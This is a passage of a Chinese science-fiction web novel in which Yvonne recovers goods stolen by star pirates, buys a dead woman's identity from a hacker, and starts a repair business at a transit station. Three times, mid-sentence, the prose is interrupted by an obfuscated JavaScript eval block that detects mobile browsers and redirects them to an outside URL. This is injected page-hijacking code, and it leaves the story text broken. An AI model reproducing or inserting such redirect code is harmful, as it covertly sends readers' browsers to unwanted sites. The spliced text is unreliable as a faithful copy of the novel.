七星发出怪叫,不情不愿地往休息室的方向挪步子。 桑姐拍拍千红的肩,打开通往能源仓的门走下去。 千红松开驾驶仪,在面板上点选着进入管理员模式,试图手动登录启动,但输入的信息却弹出“不存在”的报错框。 “设置秘钥后都没有机会用,记错了吗?不应该啊……”千红一筹莫展地看着面板上的报错,“猩红,已经到了要退休的年纪了吗……” 她脸上突然一凉,转头,是一个浮在半空的球形机器人拿着毛巾给她擦脸。 “阿洁,看来你没事了,申雨呢?”千红想越过机器人看休息室,机器人却执着地挡在她面前给她洗脸。 千红说:“我忙完再洗、你可以先去洗衣服——语音指令又出问题了?说过多少次带你去做维护,申雨那个半吊子!” 她只能站着不动,闭眼任由机器人阿洁搓脸。脸洗完了,两只手又被湿毛巾包住。千红有些无奈地继续由着它,突然感觉手腕被勒住,睁眼一看,她的双手竟然被毛巾捆住了! 不等她有反应,小腿突然被冲击,令她失去平衡扑在地上,努力扭头看见是阿洁压在她背上,闪烁着她们设置的“兴奋”彩光。 一双陌生的靴子停在她眼前,顺着腿往上看去,是一个陌生的少年,正用让她不舒服的笑俯视她。少年手里拉着一条链子,链子的那端捆着她的四个同伴,她们闭着眼睛陷入昏迷。 千红怒道:“你都做了什么?!你是怎么进来的!你是谁?!” 伊冯用链条剩下的部分把千红的手脚向后捆在一起,无视她的问题,走向她们随手垒出的赃物堆,从里面掏出自己的箱子。 箱子重量有变化,锁上多了两道痕,看划痕大小,应该和解开她房间门锁的解码器是同一个。 这由逃生仓变形成的箱子,内部容纳的九成是自己的部件,剩下的地方装应急物资;里面的东西都被她用了,只放回了急救箱和衣服上拽下的家徽,另外塞了项链和几个小型机器人——这些全没了。 伊冯在赃物堆里又翻找了一遍,没有她的东西。 她走回挣扎着摇晃铁链试图摇醒同伴的千红面前,问:“箱子里的东西呢?” 千红用下巴指指她的同伴,说:“让她们醒来,放开我们,我就告诉你。” “放开,让你们五打一吗?”伊冯蹲在千红身边,搜出她身上的通行证,塞进自己口袋里,“如果你不说,我现在就把你们交给城里的派驻警察。” 千红皱眉担忧地看着她还在昏迷中的同伴们,抬起头恶狠狠地瞪着伊冯:“如果我说了,你就不把我们交出去?” “只要我把我的东西找回来,我就让你们离开栖止。” “……箱子里的东西,在城内出手了。买家是商队的人,一个黑皮肤的女人,红棕色的短卷发,。” 叶家的人出城时进来的那个商队吗,应该不难找。 伊冯问:“你们在城内哪个位置交易的?” “快出城的地方,城里的人都用金子交易,对我们没用,只有行商的存款够看。”千红说着又扯动铁链,“能说的我都说了,把这个解开。” “当然要等东西找回来了,再兑现我的承诺。”伊冯把手放上她的后颈,“你也睡一会儿吧。” 一串电流闪出,千红发出不成形的咒骂昏厥过去。 19. 商队 把星匪团伙捆紧丢进甲板下,伊冯挑了一个最整洁宽敞的房间把箱子放进去,离开飞船返回城内。 伊冯检查过从星匪们身上收来的通行证,没有绑定身份信息,是个持有即生效的道具。不做身份绑定,或许是为了让遗失通行证的人,无法自证曾办理过证件,只能再缴费重办。如此,就能成为长期的敛财手段。 用通行证顺利进城后,伊冯没在之前见到商队的城东靠城门一块找到人,在可能会有行商停驻的地方打听了一圈,得知商队已经离开栖止。 栖止上空能见度太低,难以注意船队离开的痕迹——没时间可惜来回的消耗,伊冯再度出城,驾驶从星匪手里缴获的飞船“猩红”赶向最近的中转站点。 商队是为了做生意,行驶路线都是在主航道上,顺着人多的地方走;这趟来栖止是给驻扎地卖物资,走完这趟,她们就算不补充货源也要补给航行物资,极大可能会去中转站休整再出发。 这一次伊冯运气不错,在港口就看见了疑是买走她失窃物的红棕短卷发女人。 小型飞船速度占优,比吨位大的货船行进速度快,伊冯到达港口时商队的船只才刚停靠。栖止用来防风沙的装束在这里太显眼,伊冯从星匪的行李里找出一套设计普通的合身衣服换上,换衣服时她发现身上的伤全都好了,匆匆做了记录,下船去找人。 那个女人应该是商队领队,带头从舱门走出,比划着和身边人说话,周围的人在她交代下四处散去。 伊冯走到不会被忽视的距离才停下,等她忙完。但这个距离已侵入了女人的社交距离,她停下尚未说完的话,看向伊冯,问:“有事?” 伊冯见她向自己搭话,再走近几步到她面前,说:“你在栖止买了一条红宝石项链,对吗?” 女人不置可否地看着伊冯,摆手让身边的人散开去做事。 伊冯说:“那是星匪从我这偷的,请还给我。” 女人说:“失窃案应该去找警察,我管不了,再说——你怎么证明那是你的?” 伊冯不快地皱眉,那条项链外观上平平无奇,不知道是以诺自制还是哪买的,她拿什么证明。她说:“你多少钱买的,我可以出双倍的钱买回来。” 女人夸张地“哇”了一声,还是态度轻浮地回话:“那我真是卖亏了——那颗宝石的成色不错,很好出手,已经被买走了。” 伊冯问:“买家是谁?” 女人抬起头在上空看了一圈,用手指了指:“喏,那个。” 伊冯顺着她手指的方向看过去,那艘舰船正开启跳跃器,在一瞬泛蓝的光晕中消失。舰船上有着明亮的太阳图纹,那是卡洛琳的家徽。 卡洛琳以珠宝生意闻名,鉴赏珠宝的水平是全星盟最顶级的,总是出没在世界各地搜罗宝石。即使如今不再位于十大家族之列,她们仍是星盟最大的宝石供应方。 卡洛琳做生意会挑剔买家,不符合要求的买家出多少钱也没用;对于中意的买家,就算对方不想买也会主动上门推销说服。她想隐藏身份去交易是不可能的,但向卡洛琳表明阿吉斯的身份,无异于把坐标发给以诺。再说,卡洛琳五十年来从不和阿吉斯做生意,某年以诺想给她买块宝石庆生,也被拒绝了。 伊冯转念一想,项链在卡洛琳手里也不错。 卡洛琳会仔细检查收到的宝石,那条项链如果真有什么特殊的地方,肯定会当作卖点放出来,到时候以诺就算被拒绝也会想办法买回去,东西到了以诺手里,她再想拿就容易多了;如果只是一条普通的项链,那丢就丢了。就算那项链有卡洛琳都发现不了的特殊之处,以她现有的检测手段肯定也查不出。 伊冯的视线又转回面前的女人脸上,问:“听说卡洛琳不收赃物,你是怎么卖出去的?” 女人用看傻子的眼神看伊冯,说:“我买的时候都不知道那是赃物,我卖出去的时候就更不知道了。” 伊冯学着她的眼神回敬:“如果我在卡洛琳卖出项链的时候说它是赃物,你觉得卡洛琳能不能查出那条项链真正的来处?” 女人收起笑,不太友善地问:“你想干嘛?” “我抓住了偷我东西的贼,你帮我把她们带去换奖金,”伊冯的头往飞船猩红的方向点了点,“奖金你拿两成。” 女人脸上的困惑一闪而逝,又露出笑,什么也没问,就赏金的分配与伊冯争辩了一番,最后二人达成共识六四分成。 “我叫米伽,流星商队的头。你呢?”女人伸出右手,在伊冯的迟疑中补充道:“如果你在栖止待的时间不短,我们以后少不了打交道。” “……我叫,罗宾。现在在做机械维修。”伊冯临时给自己安了个假名,握住米伽的手。 “罗宾吗——”米伽重复了一遍这个假名,松开手,跟着伊冯走向飞船猩红,去完成她们的交易。 飞船也是星匪们偷来的赃物,伊冯拿出自己的箱子,又从星匪的衣柜里拽出一块大方巾把箱子罩上,免得又有“识货”的盯上节外生枝。剩下的都交给米伽去换取赏金。 米伽提议她拿到赏金后,她们通过内网分钱。伊冯人都抓到了,却把最简单的领赏金这步交给别人去做,显然是有什么不好说的顾虑。通过更私密难追查的内网交易,对她们双方都好。 栖止无法进入内网,伊冯出来后还没登过内网。和米伽分开后,她找了一个胶囊仓自助住宿店休息,躺在仓内进入内网。 进入白色的世界,伊冯首先被一堆未读消息糊了一脸,都是木原发来的。上次和木原说了她被锁的事后,她下线就跑了,一直没机会向木原报平安。 消息刚发出,一团粉云就从远方直冲而来扑住她,伊冯刚想回以拥抱,又在高亢的尖叫声中把手用来捂住耳朵。 木原兴奋地大叫不止:“啊啊啊!!!你太强了吧!闯空港的那个真的是你啊!” 伊冯因为担心木原再被牵连,或者被以诺找上逼问,只告诉木原自己成功跑出来了,具体细节一个字也没透露。以木家的情报网,知道这件事也不奇怪。 伊冯没接木原的话,闯空港的是她,这件事对以诺是透明情报,木原猜到也不要紧,但木原不能知道更多了。 伊冯说:“我们以后在内网也少见面,内网的信息虽然难以追查,只要以诺有心顺着你找到我,在内网布置人盯住你不是难事。” 木原的兴奋瞬间消退,她松开伊冯退开几步,虚拟形象的粉发淋了水般瘪塌暗淡下去。 现在确实不是说这种拉开距离的话的好时机,但她进栖止是为了办事,得在做那些事之前和木原说清楚让她不参与,她要抓紧时间把能做的事做完。 伊冯点开通讯窗口看了一眼,米伽的的内网id“流客”还没有消息传来,伊冯发信催促,收到米伽对物资交流站警察办事效率的一长串抱怨。伊冯扫了一眼没看到有用信息,关了窗口,再打开木原的私聊窗。 【种子圆】:只要删除聊天记录,就无法追踪,对吧? 站在对面的粉色小云瞬间比原来还蓬松明亮。 【独木就是林】:对! 【种子圆】:抱歉。 【独木就是林】:你没有任何地方需要对我感到抱歉!我知道我现在对你最大的帮助,就是什么都不做。我只要知道你安全、在做你自己喜欢的事,那么我什么都不知道也可以。但是,如果你需要我做什么,不要有任何顾虑,随时联络我! 伊冯正要回复,收到了米伽的转账。 伊冯收起窗口,对木原微笑:“我得走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621591|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,要走得更远哦!”木原说着捂住自己的眼睛,“加油!” 伊冯还在奇怪她捂眼睛干什么,木原突然原地下线了。 自己什么都不知道的意思?伊冯忍不住笑。 米伽转来了十九点二万。那伙星匪加上飞船的奖金一共只有十七万,米伽说她把人交上去前从她们的终端上“转”了十五万。 【种子圆】:为什么要让我知道那十五万? 【流客】:我可不是随便拿的,我花了七万买了那堆让你追过来的麻烦东西,当然得加倍把钱讨回来——为了证明我和你交朋友的诚意,我凑了个整。怎么样,可以既往不咎了吧? 箱子里的物品果然都是被她买走了。伊冯之前没问,主要是那些东西太指向阿吉斯,但米伽都主动提起她知道那些东西是从自己这被偷的,就没必要装没事了。 【种子圆】:把东西还我,更证明你的诚意。 米伽耍赖地和伊冯拉扯许久,才一副忍痛割爱的样子愿意送回那些机器人和医疗箱。 米伽等了会儿,确认对面没有别的要求后,便退出内网。 她睁开眼,看见她的床边坐着一个罩着银白色袍子的人。昏暗的室内,袍子反射出柔和的银光。 对方看着放在房间一角的笼子,轻声哼唱着。 米伽翻了个白眼坐起来,说:“你再这么随便进我的船长室,我就把你的袍子烧了。” 对方停下歌声,看向她笑道:“这次可不是我自己想来,族母让我来把你找到的这家伙带回去。” 米伽看了眼笼子里昏睡的黑豹,说:“她受了伤,脾气很大,你带走的时候小心点。” 银白袍子表示自己有分寸,并问:“听说你是从一个非法马戏团那把她买来的——那个马戏团现在在哪?” “我怎么知道?”米伽笑说,“一个非法盈利团体,谁知道会躲到哪里去。” 银白袍子也跟着她笑起来,接着带了几分严肃说:“你的职责是经营好商队,处刑罪者是我的工作,不是你的,不要让愤怒胜过理智。” 米伽不情不愿地点头,转移话题问她:“族母看过那块红宝石了吗?那是什么,族母那么着急地让我拿到。要不是有伙小贼把它偷出来,我还真没法这么快得手。” 银白袍子摇头说:“我不知道,族母拿到它后就有些奇怪,说想自己待着,把我们赶出花园。我过来前,族母只让我给你带话,继续盯着那个孩子,掌握她的动态,确保她的安全。” “让族母这么在意,不会是钥匙吧?”米伽玩笑道。 对方没接她的玩笑,米伽不自在地抬脚踹去。 “你又踢!知道我的毛洗护起来有多麻烦吗!”银白袍子心疼地抱怨,提起袍子擦鞋印,露出她比人腿曲折粗壮、覆满银白色毛发的下肢,晕出一层月光般的皎洁银辉。 米伽移开视线,打开床头的抽屉拉出一个袋子:“行了,你快带她回去吧,我也得去把这些铁皮还给那孩子。” 银白袍子问:“你和她接触过了?如果她是钥匙,你应该能有感觉吧?” 米伽好一会儿才摇摇头,说:“我感觉不到她和人类不同的地方。气味,呼吸,体温,脉搏,都是正常人类该有的样子。” 银白袍子沉默片刻,说:“我们一定能回家的。” 她走到笼子前,将手伸入笼中放在黑豹背上,身上亮起微光,光流淌包裹住黑豹,二者如一道乍现的光芒闪耀后从屋内消失。 米伽没多看那个空笼子,拎着袋子出门,边走边哼着银白袍子坐在她床边唱的那首歌: “……我素未谋面的故乡啊,如果不能在你的怀中入眠,我该在哪里腐烂,滋养哪里的土地,包裹哪只鬣狗的骨头……” 20. 拮据 伊冯把米伽转来的钱放在内网账户上。她的个人存款也可以提取存放在内网中,内网的后台由东西盟共同把持监督,经过内网中转,交易明细就不容易被以诺追查到;但今天木原和她见过面,大笔金额变动难免会引来以诺的详细追踪,以防万一,还是之后再找机会挪钱。 接下来,该找人帮她让这笔奖金发挥作用了。 伊冯此前在内网只认识两个人,一个是木原,另一个就是启发了她破坏思维的“陪玩二号”。在内网找人帮忙这件事,她第一反应就是找这个二号。 拉出私聊窗口发出去的消息没有回复,伊冯等了五分钟,发一千块过去。 【陪玩二号】:什么事? 伊冯发过去一张清单,上面是她目前急需的各类器械、工具和原材料。她本来还担心新收入不到二十万的钱不够用,对着网购页面算了帐后,发现这些钱虽然买不了她常用的研究塔产品,但要买一般品牌的商品,购买力还是远比她以为的强。买完目前需要的东西后,还能有不少余额,足够付给二号的佣金。 让二号做的事很简单,把清单上的东西买下,收到货后集中送到这个中转站,然后她再运回栖止。中转站人流量大,进出方向多,比直接寄到栖止保险。 【陪玩二号】:这位客人,你是不是对我有什么误会? 【种子圆】:什么误会? 【陪玩二号】:我不是打杂工的。你出手阔绰,我喜欢;但跑腿打下手的活,随便谁都能做的活,我讨厌。上次接活,一是看在介绍你来的是老主顾,二是你说的那个手环听着够稀奇,我也好奇,所以愿意做这笔生意——不代表我真的什么活都干。 紧接着一份价目表发了过来。 伊冯扫了眼这张业务广泛的表格,确实没有和她让二号去做的事沾边的。只能另外找人了。 不过已经花了一千把人招出来,什么都没做成就结束对话太亏了。伊冯再把价目表看过一遍,二号还有做贩售插件程序的生意,她挑了几个感兴趣的下单,把钱打过去。 二号没有收钱,回了一个问号。 【?】 伊冯也回了一个问号,她给的金额没错,为什么对方不完成交易? 【陪玩二号】:我赚钱可不是为了进监狱花的,你是要劫狱还是抢金库,买这么多?还有你那张购物清单,全是敏感的东西啊? 伊冯看着自己下单的一堆反屏蔽插件、反安保系统程序和反追踪程序,确实可疑——但这人会不会进监狱和她买多买少有关系吗,从她拿这些东西出来卖开始,就可以被押上法庭了。 伊冯重新下单了标价最高的两个程序,看着对方秒收款、发送安装包,真看不出怕被抓。 伊冯打开安装包看了眼编程,“陪玩二号”的程序都有强烈的攻击性。蛮横的进攻直接吃掉目标系统的防护网,强大的模仿模块可以让它填补上被侵蚀的部分,被系统误判为自身的一部分接纳,紧接着就是更为彻底的对系统本体的同化,让被攻击的系统维持运转的同时失去功效。这种程序,被攻击方要将它清除只能连带原系统一并删除,否则任何一点残留都会留下携带破坏系统的暗门。 安装包里有反解包设置,但设计得非常简单,有一定编程技术的人都能解开,与程序本体展现出的复杂很割裂。 伊冯被二号的程序吸引,眼前突然弹出系统窗口。 【你设置的退出提示被激活,是否下线?】 伊冯关闭窗口,退出内网。是米伽把东西送来了,她确认东西没问题后,关上休息仓再度登入内网。 刚登入,面前突然窜出团火红的东西,她吓了一跳,退开两步才看清那是个人。 勉强算是有个人样的东西吧,伊冯看着那个头发如火焰跃动、皮肤在闪乱码、四肢不时闪烁错位的东西,起码比她的系统默认形象有想象力。 这东西说:“你突然下线干什么,躲我?” 这个虚拟形象的声音也带着电流杂音,听得人耳朵疼。 伊冯偏头侧耳,再拉开些距离:“……你是?” 对方指脑袋,伊冯勉强从那饱和度极高的红发上看到几个小字:陪玩二号。 二号怎么知道她的位置,聊天时追踪了她的坐标?这人做事件件都往灰色地带踩。 伊冯问:“转账金额有问题?” 陪玩二号说:“是你有问题,你究竟买我的插件做什么用,抢银行还是要剽窃我的编程?” 伊冯有些心虚,一时不知怎么回话。她看到二号的价目表里的那些东西,便想到可以做些类似的东西来防备以诺的搜寻。她是想研究这个人的程序来拓展思路,不会照着二号的程序来,算不上剽窃,但也能说是偷师。 “看来真是打算做些坏事啊。”陪玩二号花哨的脸上得意地放出小烟花,“老实交代,不然你这新人账号可就危险了。” 伊冯说:“你的程序设计思路很大胆,我很好奇,想研究你的编码逻辑。抱歉,我以后不会这么做了。” 陪玩二号收起烟花,说:“别啊,你这么慷慨的买家我可难得遇见一个。你说你想研究,听起来像是有点本事的——比一比?你要是赢了,想学什么我都教你。当然,要收学费的。” 比?比什么? 伊冯打开编辑器写了一段,发给陪玩二号。 陪玩二号对着伊冯把脸调成雪花屏:“你干嘛?” 伊冯说:“我以为你说的比试,是写代码给对方解?” 陪玩二号说:“写反解包程序码是什么意思?嫌我安装包里的太简单?” 伊冯说:“是很简单,你不担心被破解传播吗?” 陪玩二号的脸总算浮出正常的五官,带着骄傲的笑,说:“靠这个能挣几个钱,你这么有钱乱扔的客人可不多。你能明白吗,做这些东西的本身,比它带来的回报有趣多了。” 伊冯跟着陪玩二号笑起来,她明白,如果不是喜欢,她怎么能借助它们度过这些年被软禁的时光。 陪玩二号的脸突然颇有弹性地扭成麻花又猛地恢复原状,看得伊冯头皮发麻,就算知道这些在虚拟世界里很容易实现,她还是没适应这种与现实完全不同的视觉体验。 变回原样的陪玩二号丢给伊冯一句“别下线也别乱跑”就下线消失,接着伊冯背后突然被戳了一下。 伊冯回头,一个蓝发紫皮肤的人笑眯眯地看着她。 伊冯看了眼这人头顶的名字,“只争第二”。 名字带二是什么流行吗? 紫皮人说:“我不想和你比编码,来局游戏怎么样?” 伊冯瞪大了眼睛,问她:“你是陪玩二号?” 对方理直气壮地回说:“是啊,看名字看不出来吗,我觉得挺好联想的。” “可是……”伊冯拉出联络栏,陪玩二号的状态显示不在线。 不是改名换虚拟形象。 内网账号信息直接对应星盟公民信息,一个人终身只能有一个,无法转借,凭空捏造出的身份不会具备任何效力,这个人怎么会同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621592|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时拥有两个账户? 现在叫“只争第二”的陪玩二号,毫不在意她在伊冯面前暴露了能比贩卖非法插件多蹲几十年监狱的罪行,右手在空中一滑,拉出一栏列表:“不欺负你,你擅长哪个我们就比哪个。” 伊冯看不懂列表里那一串东西是什么,二号说要“来局游戏”,这些是游戏? 是什么她现在也顾不上分辨了。伊冯上前一步逼近她,问:“你是怎么做到的?” “只争第二”想拉开距离又被伊冯拉住,她说:“你指什么?” 伊冯低声道:“ 你用两个账号在我面前晃一圈,总不会单纯是想炫耀自己够多少年刑期?” 二号没继续装傻,得意地笑了两声:“嘿嘿,你这两回找我做的事,太让人浮想联翩——我猜你会需要一个新身份。” 伊冯从没觉得计算是一件这么烦心的事。刚入帐的十九点二万,不到两小时就只剩三万一,她的购物清单上还有许多东西没买,再怎么挑便宜的买,剩下的钱也无法清空她的清单。 光是从二号那买新身份就花了十万。二号在交易前亲身证明她能让假身份骗过系统,伊冯为了保险要求先验证再交钱,二号也大胆地把待卖的身份信息发给她由她去验证——伊冯通过些不太合规的方式从内网进入公民局的档案库,找到了二号给她的这个身份,信息完全一致。 二号自己交代,她有些特殊的门路,收集了些失踪后死亡的人员资料,这些人大多没有常往来的亲属,没人追究她们的去向,也没人帮她们办理死亡证明、注销账户。一个在中心系统里还存在的账户信息,可以骗过机器,当然也能骗人。 以防万一,伊冯还查了这个账户失踪前后的行动轨迹,这人上一次在官方监控里留下身影已是三年前,自驾一艘迷你飞行器离开冥昭系边缘的中转站,而后再未出现。 二号的“门路”在一颗辐射极强的未命名星球上发现她的尸体,尸体上未装备任何防护设备,也未发现搏斗痕迹,应当是自杀。 “这样的人很多,生前无人在意,死后都怕给人添麻烦,找一个不影响人的角落悄悄死了。”二号凑在伊冯身边看着这份死亡情况说明,“我们没动她,只带走了她的终端。” 许久没听到伊冯给回应,二号侧头看她,脸上流下两行夸张的漫画式宽面条眼泪:“天呐这个人太可怜了,我怎么可以这么残忍地利用这种人的身份呢!就让我用自己的身份做我接下来要做的一切吧!就算会立刻被追踪到什么都做不成也是我应得的!” “得了吧,”二号变回常用的灰白雪花脸,“死人感受不到你的怜悯,你要是能用她的身份活得精彩,说不定还能吸引她下辈子努力活久点。” “你的说法自相矛盾了。”伊冯说,“你要多少钱?” 十万买一个身份不能算贵,但着实打乱了伊冯原来的计划,剩下的钱只能先花在当下最要紧的地方。她买下的新身份名叫“利比逖”,同样是金发蓝眼睛。仅凭这两个特征,不可能让人把她和终端信息上的人认成同一个,她之前想做的面具得尽快完成,在这之前只能用视觉干扰器蒙混过去。 买视觉干扰器和制作面具的材料又去了两万五千,为了往返于栖止她得有自己的飞行器,挑拣半天花了三万买下一架二手的;还好有了R的地下室不用再出租用实验室的钱,但给R买维修材料又花去六千。 伊冯坐在快递点外的椅子上,把脸深深埋进包住脸的围巾里:她得尽快找到稳定的收入来源,实验经费不够很难出成果啊。 21. 赚钱 伊冯驾驶着飞行器返回栖止,还在想自己是不是该多要些钱。 寄来的飞行器破损情况比卖家出售页面的叙述更严重,她检查后还发现了操作系统故障,推进器、转向器都损坏得无法保证正常飞行。 找卖家质问,卖家很快给她发了一长串道歉,并主动提出退她一万算是维修补偿。 伊冯见对面态度诚恳,给的解释也合理,就接受了道歉,收下钱。自己花了三小时,从她的逃生舱箱子里拆了不少部件,把飞行器修到能正常运行的程度。 她修好机子后直接在驾驶舱过夜,醒来后戴上视觉干扰器调试参数,在适应用法的同时去网上查维修费用。中转站每天有数万架飞行器往来,会是个稳定的收入来源。网上接单的机械工程师开出的维修价位,最高的也没过万——看评论区的消费返图,大都处理得粗糙。这些在网上接单的大多水平有限,高级机械工程师基本都受雇于大企业或是家族。 她的习惯是在维修同时升级原有功能,不好直接对比价位,以她的技术,定价几万肯定不过分。但她现在能接触到的雇主,或许更愿意把请她维修的费用拿去买新的设备。 伊冯开着视觉干扰器离开飞行器去吃早餐,为防意外围上头巾遮挡样貌,并一路上观察有没有需要维修的地方。 中转站的条件比栖止城好不少,价格也更合理。伊冯找了家咖啡厅,坐在吧台边的位置上,看着开放式后厨里的烹饪机器按部就班地出餐。 三明治机有杂音,应该是老化和过度使用导致;沙拉机的执行程序有优化空间;煮面机和煎饼机的自清洁不到位;咖啡机的咖啡豆损耗太多……连上菜机器人都浑身叽嘎作响、脱漆生锈。 伊冯吃完一盘煎饼、烩面和两份三明治。味道先不说,焦度不均匀,调味料也没和撒匀,这些设备的许多部件都该换新的了。 她喝完杯里的燕麦奶,找到在吧台后擦拭玻璃杯的店主,说出她观察到的问题,提出帮她们维修。 伊冯说:“我还能帮你们升级设备功能,让它们有比最新型同类产品更优秀的功能。” 店主避开她招呼另一个到柜台前就餐的客人,等转回头见伊冯还站在原地,笑说:“这位客人,还有什么需要的吗?” 伊冯说:“我说我可以为你修理这些设备,它们都需要维护换新。” 店主问:“不收钱?” 伊冯说了她的收价。在她之前看到的收费价位里,这是个中上的数字。虽然相对她的能力算得上是贱卖,但“利比逖”寂寂无名,只能先报保守的价位。 “小姑娘,如果你想挣钱,可以来帮我擦杯子。”店主拿起之前没擦完的杯子冲伊冯比划,“这里不是商业街或者高档餐厅,我的伙计们完成的工作对得起你们消费的钱。” 伊冯还想争取,当即拆开吧台上的点单机,把接触不良的显示板重装,重新组装的点单机清晰度肉眼可见得更高。店主却不耐烦地赶她出店,伊冯顾忌自己是找生意不能结怨,只能离开。 按店主说的,她不想提升服务品质,所以机器有问题也不想花钱解决。 看来只是技术高,还不足以吸引顾客。在推销自己之前,她得知道这些人想要的是什么。 “老板,我只是来加个润滑油,你就要我一百?以前不都只要七十吗,涨价太多了吧?” “什么叫‘只是’,你觉得简单可以别来我的店啊。你上次来是什么时候了,还拿几百年前的物价来比?” “站东的那家也才要价九十,要不是看你家便宜,谁会绕远过来?你涨价不提前说,故意坑熟客,明天就倒闭啊!” “我们家用的油比她们高档,当然价格也更高,你有本事把加进去的油还给我,我就把钱退你!” “你这!……” 伊冯找到一家机械维修店,在角落观察她们接到的委托都是什么类型的。这家维修店几小时下来接待的客人不过十来个,架却吵了几十场。 伊冯偷听着那些围绕费用的争执,明白了这地方低价格比高技术更重要,只要东西能用,消费者对于结果要求不高。 在外行人眼中,她的技术吸引力有限,这些在星际奔走工作的人只会为自己急切的需求付费,不必“最好”,“不坏”已经足够。 伊冯把吃空的饼干袋丢进垃圾桶,离店门有点距离的位置站着些旁观吵架的人,她走到一个装着机械臂的人身边。 伊冯问:“除了没法抓握,还有别的问题吗?” 对方讶异地打量她,很快意识到伊冯的目的,说:“也不能抬高过肩膀。你能修?” 伊冯点头:“在她们吵完之前就能修好。如果我没修好,不收钱,你去这家维修的费用我也帮你出。” 对方问:“如果你修好了,我要付你多少?” “六百。”在对方开口之前,伊冯补充说,“这家修义肢失灵故障,最便宜也要六百八,我两个小时前刚见过她们怎么和那位只是小指失灵的客人争论的,你再跑几个中转站也找不到比我更实惠的。” 她都这么说了,对方当然没有拒绝的理由,饶有兴致地跟着伊冯坐到街边的椅子上。 伊冯拆开外壳,和她猜的一样,线路没固定好,在使用中渐渐偏移,和别的部件缠绕互相拉扯磨损。失去功能的线抽出装上新的,只有绝缘表皮破损的涂上绝缘胶封好,再把这些线分类固定在该在的位置。伊冯顺手给内部做了清灰,虽然还有很多她觉得能变动改进的地方,还是忍耐住,把外壳装回去,让客户验收结果。 客人活动手臂和五指,那边维修店里的争吵声还没消停,几句话的功夫,她的机械臂已经和平时一样可以随意动作。 “就算是恣睢最好的工程师,恐怕都没有你的技术好。”这位客人转动终端手环出示转账码,“你之后会在哪里活动,我如果还想修什么,能去哪找你?” 恣睢系是佣兵扎堆的地方,这人果然是佣兵。 伊冯扫码,入账两千。 伊冯说:“这不是我们说好的价钱。” “这是你应得的。我叫布莱恩,自由佣兵。”布莱恩伸出她刚被伊冯修好的机械臂,“我还从没有这么厉害的机械工程师朋友。” 伊冯看着对方的笑容,握住布莱恩的手,说:“我叫利比逖,目前在这个中转站做机械维修工程师——你是我的第一个客人。” 布莱恩微笑的方式很容易让人产生好感,她笑道:“真是荣幸!相信我,你的顾客会多到你提价也挡不住。” 伊冯回以微笑:希望这个叫布莱恩的佣兵能多给她介绍些客人,她可是看到有不少人和她打招呼、看起来人缘不错的样子,才挑中这个人做首位客人。 布莱恩没有让伊冯失望,接下来的时间里,利比逖的终端里迅速增加了十几位新联络人。除了个别必须更换部件的,伊冯每个不用半小时就处理完,就算是那些要换部件的,也只是多拧几个螺丝的步骤罢了。她越轻描淡写,旁观的布莱恩越是惊喜。 因为她自夸哪类机械都会修,布莱恩介绍人来时便存了试探的心思,每个人的问题都不一样。从载具到武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621593|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器,从外骨骼到义体,这个叫利比逖的少年都是看一眼就立刻动手,毫无迟疑、动作利落。 只看她的动作,外行或许会觉得这些修理工作很简单,几百块钱已经足够回报她的工作。布莱恩不是涉世未深的愣头青,太清楚这种果断里有着万金不换的积累。 可惜布莱恩还有事要办,不能久留,给伊冯发了几个此地熟人的通讯号,才不舍地道别离开。 “你的要价可以再高点,价格太低反而不容易被信任。”布莱恩临走前还说,“你技术这么好却要价这么低,小心被同行记恨你扰乱市场。” 这确实是伊冯没考虑到的地方,定价这事真是有够麻烦的。好在现在她已经有了一些信任她技术的客人,再加上布莱恩的友情宣传,之后可以大胆开价了。 布莱恩的“熟人”里,有一位恰好是伊冯早上推销失败的咖啡厅老板。 伊冯先加上老板的通讯号,聊天框里,老板因为她是布莱恩的朋友,态度热情,向她抱怨店里的设备老旧、问题一堆——完全是照搬了伊冯的说辞。 伊冯微笑着输入一个金额,比给别人的定价在末尾多了一个零。 老板居然也接受了,很快和伊冯商定好上门维修时间,还付了定金。 就算有布莱恩的推荐,咖啡厅老板的态度也变得太多了。伊冯只能理解为早上自己开价太低,被老板当作对自己技术没信心、只想赚饭钱的新手了。如果多一位数的价格都能被接受——她应该把价格报得更高。 因为事先答应过R今天还要去看她,伊冯和店主把时间约在第二天,先回一趟栖止。 栖止城外的停机场当然也是收费的。伊冯虽然有考虑过把飞行器藏到岩石区,像之前那伙星匪停飞船的地方就不错,但离城门太远,太费事了。就算停机费贵,她有自信靠节省的时间赚回来。城里佣兵的飞船也都停在那些地方,肯定有类似通行证的实惠方案。 